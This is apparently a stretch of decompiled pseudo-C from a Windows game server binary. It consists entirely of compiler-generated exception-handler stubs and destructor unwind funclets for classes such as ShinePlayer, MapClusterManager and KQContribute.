_ehhandler_____Uninit_copy_PAUPlayerList_KQContribute__PAU12_V__allocator_UPlayerList_KQContribute___std___std__YAPAUPlayerList_KQContribute__PAU12_00AAV__allocator_UPlayerList_KQContribute___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591820) -------------------------------------------------------- void __usercall _L164138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591828) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_SendMobKill_KQContributeList_KQContribute__QAEXKPAVShineObject_ShineObjectClass__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591851) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUPlayerList_KQContribute__IU12_V__allocator_UPlayerList_KQContribute___std___std__YAXPAUPlayerList_KQContribute__IABU12_AAV__allocator_UPlayerList_KQContribute___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591868) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__IAEXViterator_12_IABUPlayerList_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591880) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591890) -------------------------------------------------------- void __usercall _L165232(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 + 8)); } //----- (00591898) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__QAEXIUPlayerList_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005918B0) -------------------------------------------------------- void __usercall _L165428(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005918B8) -------------------------------------------------------- void __usercall _L165429(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (005918C0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqpl_EndOfKQ_KQContributeList_KQContribute__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005918D0) -------------------------------------------------------- void __usercall _L165829_0(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 20)); } //----- (005918D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0KQContributeList_KQContribute__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005918F0) -------------------------------------------------------- void __usercall _L166074(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005918F8) -------------------------------------------------------- void __usercall _L166075(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00591900) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_NewKQ_KQContributeList_KQContribute__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591910) -------------------------------------------------------- void __usercall _L157792(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0059191B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__slil_Load_SubLayerInteractLoader_SubLayer__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591930) -------------------------------------------------------- void __usercall _L159007(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591938) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LinkTo_ShinePlayer_ShineObjectClass__UAEEPAULinkInformTemplete_NPCManager__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591950) -------------------------------------------------------- void __usercall _L159324(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591958) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_MAP_LINKRESERVE_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591970) -------------------------------------------------------- void __usercall _L159437(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00591978) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CanItemMakeItem_ShinePlayer_ShineObjectClass__QAEGXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591990) -------------------------------------------------------- void __usercall _L159518_0(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0059199B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__iuf_Load_ItemUseFunction__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005919B0) -------------------------------------------------------- void __usercall _L159769(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1188)); } //----- (005919BB) -------------------------------------------------------- void __usercall _L159770(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1020)); } //----- (005919C6) -------------------------------------------------------- void __usercall _L159773(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 1184)); } //----- (005919D1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MagicContainerMake_ShinePlayer_ShineObjectClass__QAEEPAUItemTotalInformation__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005919E0) -------------------------------------------------------- void __usercall _L160039(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005919EB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ItemMakeItem_ShinePlayer_ShineObjectClass__UAEXPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591A00) -------------------------------------------------------- void __usercall _L73996(int a1) { AreaInfoData::_AreaInfoData((AreaInfoData *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (00591A0B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MapBlockInformation_MapBlock__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591A20) -------------------------------------------------------- void __usercall _L74539(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591A28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbi_DoorAction_MapBlockInformation_MapBlock__QAEEPATName8__W4DoorAction_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591A40) -------------------------------------------------------- void __usercall _L74125(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00591A48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbi_OccupCellCheck_MapBlockInformation_MapBlock__QAEEKKH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591A60) -------------------------------------------------------- void __usercall _L74168(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00591A80) -------------------------------------------------------- void __usercall _L159715(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00591A8B) -------------------------------------------------------- void __usercall _L159716(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00591A96) -------------------------------------------------------- void __usercall _L159717(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (00591AA1) -------------------------------------------------------- void __usercall _L159718(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (00591AAC) -------------------------------------------------------- void __usercall _L159719(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (00591AB7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1InstanceMap_MapCluster_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591AD0) -------------------------------------------------------- void __usercall _L159779(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (00591AD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_MissoionFailInstance_MapCluster_MapClusterManager__QAE_NPAVFieldMap___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591AF0) -------------------------------------------------------- void __usercall _L161047(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591AF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FindJobDungeon_ShinePlayer_ShineObjectClass__UAEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591B10) -------------------------------------------------------- void __usercall _L160302(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00591B1B) -------------------------------------------------------- void __usercall _L160303(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00591B26) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_2JobDungeon_ShinePlayer_ShineObjectClass__UAEEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591B30) -------------------------------------------------------- void __usercall _L160616(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00591B38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MAP_TOWNPORTAL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591B50) -------------------------------------------------------- void __usercall _L160739_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00591B58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VMapCluster_MapClusterManager____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591B70) -------------------------------------------------------- void __usercall _L160769(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00591B78) -------------------------------------------------------- void __usercall _L160770(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00591B83) -------------------------------------------------------- void __usercall _L160771(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 36912)); } //----- (00591B91) -------------------------------------------------------- void __usercall _L160772(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 73800)); } //----- (00591B9F) -------------------------------------------------------- void __usercall _L160773(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 110688)); } //----- (00591BAD) -------------------------------------------------------- void __usercall _L160774(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 147616)); } //----- (00591BBB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ClusterManager_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591BD0) -------------------------------------------------------- void __usercall _L160890(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36908)); } //----- (00591BDB) -------------------------------------------------------- void __usercall _L160891(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 36904)); } //----- (00591BE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_FindEmpty_ClusterManager_MapClusterManager__QAEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591BF0) -------------------------------------------------------- void __usercall _L161076(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00591BF8) -------------------------------------------------------- void __usercall _L161077(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00591C03) -------------------------------------------------------- void __usercall _L161078(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 36912)); } //----- (00591C11) -------------------------------------------------------- void __usercall _L161079(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 73800)); } //----- (00591C1F) -------------------------------------------------------- void __usercall _L161080(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 110688)); } //----- (00591C2D) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ClusterManager_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591C40) -------------------------------------------------------- void __usercall _L146948(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591C48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhe_Load_MiniHouseEndureDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591C60) -------------------------------------------------------- void __usercall _L147318(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591C68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhoadb_Load_MiniHouseObjAniDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591C80) -------------------------------------------------------- void __usercall _L161251(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00591C88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SkinPolymorph_ShinePlayer_ShineObjectClass__QAEXGW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591CA0) -------------------------------------------------------- void __usercall _L161296(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (00591CA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_serv_VanishReserv_ShineServant_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591CC0) -------------------------------------------------------- void __usercall _L161335(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 468)); } //----- (00591CCB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_StateCondition_MiscDataTable__AAEXPAVOptionReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591CE0) -------------------------------------------------------- void __usercall _L161806(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00591D00) -------------------------------------------------------- void __usercall _L164059_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591D08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_AbnormalStateAttribute_ShineMobileObject_ShineObjectClass__UAEEW4AbnormalStateAttr_MiscData_VarifyByAbstate_MiscDataTable___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591D20) -------------------------------------------------------- void __usercall _L161864(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591D28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_AbStateBufferAlloc_MiscDataTable__AAEPAUMiscData_AbState_1_PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591D40) -------------------------------------------------------- void __usercall _L161946(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 116)); } //----- (00591D48) -------------------------------------------------------- void __usercall _L161947(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 112)); } //----- (00591D50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__meb_Explosion_MobExplosionBase_MobExplosionElement__IAEEPAVShineServant_ShineObjectClass__PBUMiscData_Skill_MiscDataTable__PAVShineMobileObject_4__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591D60) -------------------------------------------------------- void __usercall _L162431(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591D68) -------------------------------------------------------- void __usercall _L162432(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00591D70) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_AbstateMatchEquip_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591D80) -------------------------------------------------------- void __usercall _L162505(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591D88) -------------------------------------------------------- void __usercall _L162506(int a1) { AxialListAggroAdjust::_AxialListAggroAdjust((AxialListAggroAdjust *)(a1 - 20)); } //----- (00591D90) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_AggroAdjust_ShinePlayer_ShineObjectClass__UAEXHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591DA0) -------------------------------------------------------- void __usercall _L162570_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00591DA8) -------------------------------------------------------- void __usercall _L162571(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00591DB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_WarpTo_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591DC0) -------------------------------------------------------- void __usercall _L162722(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00591DC8) -------------------------------------------------------- void __usercall _L162723(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00591DD0) -------------------------------------------------------- void __usercall _L162724(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00591DD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ReinforceRemoveEquip_ShinePlayer_ShineObjectClass__UAEXW4ItemEquipEnum___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591DF0) -------------------------------------------------------- void __usercall _L162980(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00591DF8) -------------------------------------------------------- void __usercall _L162981(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 48)); } //----- (00591E00) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_CrossCounterDamage_ShineMob_ShineObjectClass__UAEHPAVShineMobileObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591E10) -------------------------------------------------------- void __usercall _L163081(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591E18) -------------------------------------------------------- void __usercall _L163082(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00591E20) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_DEPOLYMORPH_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591E30) -------------------------------------------------------- void __usercall _L163339(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00591E38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_ArgumentLoad_MiscDataTable__QAEXPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591E50) -------------------------------------------------------- void __usercall _L164018(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591E58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_WarpForward_ShineMobileObject_ShineObjectClass__QAEXPBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591E70) -------------------------------------------------------- void __usercall _L164252(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00591E7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_Load_MiscDataTable__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591E90) -------------------------------------------------------- void __usercall _L147921(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591E98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ae4m_NextSkill_AttackElement4Mob_MobAttackSequence__QBEHPAVShineObject_ShineObjectClass__PAHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591EB0) -------------------------------------------------------- void __usercall _L148114(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00591EB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_USkillChange_MobAttackSequence____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591ED0) -------------------------------------------------------- void __usercall _L148231(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00591EDB) -------------------------------------------------------- void __usercall _L148234(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00591EE9) -------------------------------------------------------- void __usercall _L148235(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00591EF7) -------------------------------------------------------- void __usercall _L148236(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00591F05) -------------------------------------------------------- void __usercall _L148237(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00591F13) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mas_Load_MobAttackSequence__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591F20) -------------------------------------------------------- void __usercall _L160611(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591F28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_UseWeapon_ShineMob_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591F40) -------------------------------------------------------- void __usercall _L162074(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00591F48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_SelectWeapon_ShineMob_ShineObjectClass__UAEHPAVShineObject_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591F60) -------------------------------------------------------- void __usercall _L160582(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591F68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_AppendAggroPoint_MobTargetBout__UAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591F80) -------------------------------------------------------- void __usercall _L159125(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- 